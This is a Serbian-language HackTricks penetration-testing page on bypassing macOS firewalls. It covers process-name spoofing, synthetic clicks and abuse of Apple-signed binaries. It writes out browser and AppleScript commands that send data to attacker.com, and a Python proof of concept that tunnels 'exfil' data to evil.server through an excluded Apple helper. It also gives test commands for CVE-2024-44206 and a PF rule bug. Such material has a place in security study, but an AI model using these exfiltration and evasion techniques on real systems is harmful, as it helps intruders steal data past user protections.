macOS Bypassing Firewalls

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pronađene tehnike

Sledeće tehnike su pronađene kao funkcionalne u nekim macOS firewall aplikacijama.

Zloupotreba imena na beloj listi

  • Na primer, pozivanje malvera sa imenima dobro poznatih macOS procesa kao što su launchd

Sintetički Klik

  • Ako firewall traži dozvolu od korisnika, naterajte malver da klikne na dozvoli

Koristite Apple potpisane binarne datoteke

  • Kao curl, ali i druge kao što su whois

Dobro poznate apple domene

Firewall bi mogao da dozvoli veze sa dobro poznatim apple domenama kao što su apple.com ili icloud.com. I iCloud bi mogao biti korišćen kao C2.

Generički Bypass

Neke ideje za pokušaj zaobilaženja firewalla

Proverite dozvoljeni saobraćaj

Poznavanje dozvoljenog saobraćaja će vam pomoći da identifikujete potencijalno bele liste domene ili koje aplikacije imaju dozvolu da im pristupe.

bash
lsof -i TCP -sTCP:ESTABLISHED

Zloupotreba DNS-a

DNS rezolucije se vrše putem mdnsreponder potpisane aplikacije koja će verovatno biti dozvoljena da kontaktira DNS servere.

https://www.youtube.com/watch?v=UlT5KFTMn2k

Putem aplikacija u pregledaču

  • oascript
applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome
bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
  • Firefox
bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Putem injekcija procesa

Ako možete injektovati kod u proces koji ima dozvolu da se poveže sa bilo kojim serverom, mogli biste zaobići zaštitu vatrozida:

macOS Process Abuse


Nedavne ranjivosti za zaobilaženje macOS vatrozida (2023-2025)

Zaobilaženje filtera web sadržaja (Screen Time) – CVE-2024-44206

U julu 2024. Apple je ispravio kritičnu grešku u Safari/WebKit koja je prekinula sistemski “filter web sadržaja” koji koriste roditeljske kontrole Screen Time. Posebno oblikovana URI (na primer, sa dvostruko URL-enkodiranim “://”) nije prepoznata od strane Screen Time ACL, ali je prihvaćena od strane WebKit-a, tako da se zahtev šalje nefiltrirano. Bilo koji proces koji može otvoriti URL (uključujući sandboxed ili nesiguran kod) može stoga pristupiti domenama koje su eksplicitno blokirane od strane korisnika ili MDM profila.

Praktični test (sistem bez ispravki):

bash
open "http://attacker%2Ecom%2F./"   # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page

Packet Filter (PF) pravilo-redosled greška u ranoj macOS 14 “Sonoma”

Tokom beta ciklusa macOS 14, Apple je uveo regresiju u korisničkom omotaču oko pfctl. Pravila koja su dodata sa quick ključnom rečju (koju koriste mnogi VPN kill-switch-evi) su tiho ignorisana, uzrokujući curenje saobraćaja čak i kada je VPN/firewall GUI izvestio blokirano. Greška je potvrđena od strane nekoliko VPN dobavljača i ispravljena u RC 2 (build 23A344).

Brza provera curenja:

bash
pfctl -sr | grep quick       # rules are present…
sudo tcpdump -n -i en0 not port 53   # …but packets still leave the interface

Zloupotreba Apple-ovih potpisanih pomoćnih usluga (legacy – pre-macOS 11.2)

Pre macOS 11.2 ContentFilterExclusionList je omogućavao ~50 Apple binarnih datoteka kao što su nsurlsessiond i App Store da zaobiđu sve socket-filter vatrozidove implementirane sa Network Extension okvirom (LuLu, Little Snitch, itd.). Malver je mogao jednostavno da pokrene isključeni proces—ili da ubrizga kod u njega—i da tuneluje svoj sopstveni saobraćaj preko već dozvoljenog soketa. Apple je potpuno uklonio listu isključenja u macOS 11.2, ali je tehnika i dalje relevantna na sistemima koji ne mogu biti nadograđeni.

Primer dokaza koncepta (pre-11.2):

python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")

Saveti za alate za moderni macOS

  1. Ispitajte trenutna PF pravila koja generišu GUI vatrozidi:
bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
  1. Enumerišite binarne datoteke koje već imaju outgoing-network pravo (korisno za piggy-backing):
bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
  1. Programatski registrujte svoj vlastiti Network Extension sadržajni filter u Objective-C/Swift. Minimalni rootless PoC koji prosleđuje pakete na lokalni soket dostupan je u izvoru LuLu Patricka Wardlea.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks